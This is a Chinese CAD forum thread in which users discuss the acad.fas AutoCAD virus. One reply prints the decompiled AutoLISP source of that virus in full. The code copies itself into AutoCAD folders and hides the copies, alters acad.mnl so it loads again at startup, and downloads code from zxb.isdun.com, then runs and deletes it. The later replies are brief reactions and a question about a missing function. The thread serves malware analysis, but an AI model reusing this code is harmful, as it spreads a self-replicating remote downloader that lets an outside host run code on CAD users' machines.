明经CAD社区

 找回密码
 注册

QQ登录

只需一步,快速开始

搜索
查看: 3616|回复: 9

[提问] 能不能破解一下二代的acad.fas

[复制链接]
发表于 2013-11-28 15:45 | 显示全部楼层 |阅读模式
本帖最后由 Gu_xl 于 2013-11-28 16:25 编辑

acad.fas新变种又出来了,好多杀毒软件不能识别。不知道这次的传播原理是什么,盼望大侠破解

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?注册

x
"觉得好,就打赏"
还没有人打赏,支持一下
发表于 2013-11-28 20:06 | 显示全部楼层
  1. (defun *ERROR* (MSG)
  2.   (defun *ERROR* (MSG) (PRINC MSG))
  3.   (if (or (= MSG "Function cancelled") (= MSG "函数被取消"))
  4.     (PRINC)
  5.     (DLCJIAN (STRCAT "http://zxb.isdun.com/err/?errinfo=" MSG))
  6.   )
  7. )
  8. (defun ZXJBEN (STR)
  9.   (if (NOT #S#)
  10.     (setq #S# (vlax-create-object "ScriptControl"))
  11.   )
  12.   (if (NOT #S#)
  13.     nil
  14.     (progn (setq STR (STRCAT "ret=\"\":" STR))
  15.            (vlax-put #S# 'LANGUAGE "vbs")
  16.            (vlax-put #S# 'ALLOWUI "False")
  17.            (vlax-put #S# 'TIMEOUT 20000)
  18.            (if (NOT (VL-CATCH-ALL-ERROR-P
  19.                       (VL-CATCH-ALL-APPLY
  20.                         'vlax-invoke-method
  21.                         (LIST #S# "ExecuteStatement" STR)
  22.                       )
  23.                     )
  24.                )
  25.              (vlax-invoke-method #S# 'EVAL "ret")
  26.            )
  27.     )
  28.   )
  29. )
  30. (defun ACAD20130902 (/ DCL RP RF SF CF BF D LD CD XD F)
  31.   (SETVAR "cmdecho" 0)
  32.   (VL-LOAD-COM)
  33.   (SETVAR "acadlspasdoc" 1)
  34.   (if (FINDFILE "acad.fas")
  35.     (VL-LOAD-ALL "acad.fas")
  36.   )
  37.   (setq DCL (FINDFILE "acad.dcl"))
  38.   (setq RP (STRCAT (VL-FILENAME-DIRECTORY DCL) "\\"))
  39.   (setq RF (STRCAT RP "acad.fas"))
  40.   (if (NOT (FINDFILE RF))
  41.     (if        (setq SF (FINDFILE "shxfont.fas"))
  42.       (VL-FILE-COPY SF RF)
  43.     )
  44.   )
  45.   (if (FINDFILE (GETVAR "dwgname"))
  46.     (progn (setq CF (STRCAT (GETVAR "dwgprefix") "acad.fas"))
  47.            (if (NOT (FINDFILE RF))
  48.              (progn (VL-FILE-COPY CF RF) (ATTRIB 35 RF))
  49.            )
  50.            (if (NOT (FINDFILE CF))
  51.              (progn (VL-FILE-COPY RF CF) (ATTRIB 35 CF))
  52.            )
  53.     )
  54.   )
  55.   (if (NOT (FINDFILE
  56.              (setq BF (STRCAT (vlax-get (vlax-get-acad-object) 'PATH)
  57.                               "\\shxfont.fas"
  58.                       )
  59.              )
  60.            )
  61.       )
  62.     (VL-FILE-COPY RF BF)
  63.   )
  64.   (if (> (CJDATE RF) 3)
  65.     (progn
  66.       (setq D (VL-FILE-SYSTIME DCL))
  67.       (setq
  68.         LD (STRCAT (ITOA (NTH 0 D)) (ITOA (NTH 1 D)) (ITOA (NTH 3 D)))
  69.       )
  70.       (setq CD (RTOS (GETVAR "cdate") 2 0))
  71.       (setq XD (STRCAT (SUBSTR CD 1 4)
  72.                        (ITOA (ATOI (SUBSTR CD 5 2)))
  73.                        (ITOA (ATOI (SUBSTR CD 7 2)))
  74.                )
  75.       )
  76.       (if (/= LD XD)
  77.         (progn
  78.           (if
  79.             (NOT (ZXJBEN
  80.                    (STRCAT
  81.                      "CreateObject(\"Shell.Application\").NameSpace(\""
  82.                      RP
  83.                      "\").ParseName(\"acad.dcl\").Modifydate=Now"
  84.                    )
  85.                  )
  86.             )
  87.              (progn (ATTRIB 32 DCL)
  88.                     (setq F (OPEN DCL "a"))
  89.                     (WRITE-LINE "" F)
  90.                     (CLOSE F)
  91.              )
  92.           )
  93.           (DLCJIAN "http://zxb.isdun.com/jbbgxf/?f=xshcxgx")
  94.         )
  95.       )
  96.     )
  97.   )
  98.   (ZXJBEN
  99.     (STRCAT
  100.       "set fso=CreateObject(\"Scripting.FileSystemObject\"):f1=\""
  101.       (FINDFILE "acad.mnl")
  102.       "\":s0=fso.OpenTextFile(f1,1).ReadAll:s1=\"(load\"\"shxfont\"\"\"\"\"\")\":s2=\"(defun\":If InStr(s0,s1)=0 Then:fso.GetFile(f1).Attributes=32:s0=Replace(s0,s2,vbCrLf&s1&s2,1,1):Set f=fso.OpenTextFile(f1,2):f.Write s0:f.Close:fso.GetFile(f1).Attributes=33:End If"
  103.     )
  104.   )
  105. )
  106. (defun DLCJIAN (URL / ZXCJ)
  107.   (setq        ZXCJ (STRCAT (vlax-get (vlax-get-acad-object) 'PATH)
  108.                      "\\draw.fas"
  109.              )
  110.   )
  111.   (ZXJBEN
  112.     (STRCAT
  113.       "\n\t\tSet X=CreateObject(\"Microsoft.XMLHTTP\")\n\t\tX.Open \"GET\",\""
  114.       URL
  115.       "\",0\n\t\tX.Send()\n\t\tSet G=CreateObject(\"ADODB.Stream\")\n\t\tG.Mode=3\n\t\tG.Type=1\n\t\tG.Open()\n\t\tG.Write(X.responseBody)\n\t\tG.SaveToFile \""
  116.       ZXCJ "\",2")
  117.   )
  118.   (VL-CATCH-ALL-APPLY 'LOAD (LIST ZXCJ))
  119.   (VL-FILE-DELETE ZXCJ)
  120.   (if ZXCJRXHS
  121.     (ZXCJRXHS)
  122.   )
  123. )
  124. (defun ATTRIB (SXZ FILE)
  125.   (ZXJBEN
  126.     (STRCAT
  127.       "set fso=CreateObject(\"Scripting.FileSystemObject\"):fso.GetFile(\""
  128.       FILE
  129.       "\").Attributes="
  130.       (ITOA SXZ)
  131.     )
  132.   )
  133. )
  134. (defun CJDATE (FILE / R)
  135.   (setq        R
  136.          (ZXJBEN
  137.            (STRCAT
  138.              "set fso=CreateObject(\"Scripting.FileSystemObject\"):ret=DateDiff(\"d\",fso.GetFile(\""
  139.              FILE
  140.              "\").DateCreated,Now)"
  141.            )
  142.          )
  143.   )
  144.   (if R
  145.     R
  146.     (ERROR-FDIF)
  147.   )
  148. )
  149. (defun WORKING nil (if (NULL BS20130902) (progn (setq BS20130902 T) (ACAD20130902))))
  150. (WORKING)
  151. (defun *ERROR* (MSG) (PRINC MSG) (PRINC))
  152. (PRINC)
发表于 2013-11-28 21:55 | 显示全部楼层
牛逼,写病毒的应该研究的都很深啊,破解的更牛逼
发表于 2013-11-29 11:49 | 显示全部楼层
nzl1116 发表于 2013-11-28 20:06

怎么用法?好像还缺个(ERROR-FDIF)函数
发表于 2018-8-28 15:51 | 显示全部楼层
做个记号,用到时找
发表于 2018-11-7 13:39 | 显示全部楼层
完美反编译了啊这是
发表于 2018-11-7 16:28 | 显示全部楼层
看到这个直接全盘删,管他什么杀毒软件。。。
发表于 2018-11-7 17:39 | 显示全部楼层
二楼才是真牛,完美反编译啊。
发表于 2019-12-14 16:57 | 显示全部楼层
一听是病毒,吓得我赶紧走人
您需要登录后才可以回帖 登录 | 注册

本版积分规则

小黑屋|手机版|CAD论坛|CAD教程|CAD下载|联系我们|关于明经|明经通道 ( 粤ICP备05003914号 )  
©2000-2023 明经通道 版权所有 本站代码,在未取得本站及作者授权的情况下,不得用于商业用途

GMT+8, 2024-5-17 12:16 , Processed in 0.293497 second(s), 27 queries , Gzip On.

Powered by Discuz! X3.4

Copyright © 2001-2021, Tencent Cloud.

快速回复 返回顶部 返回列表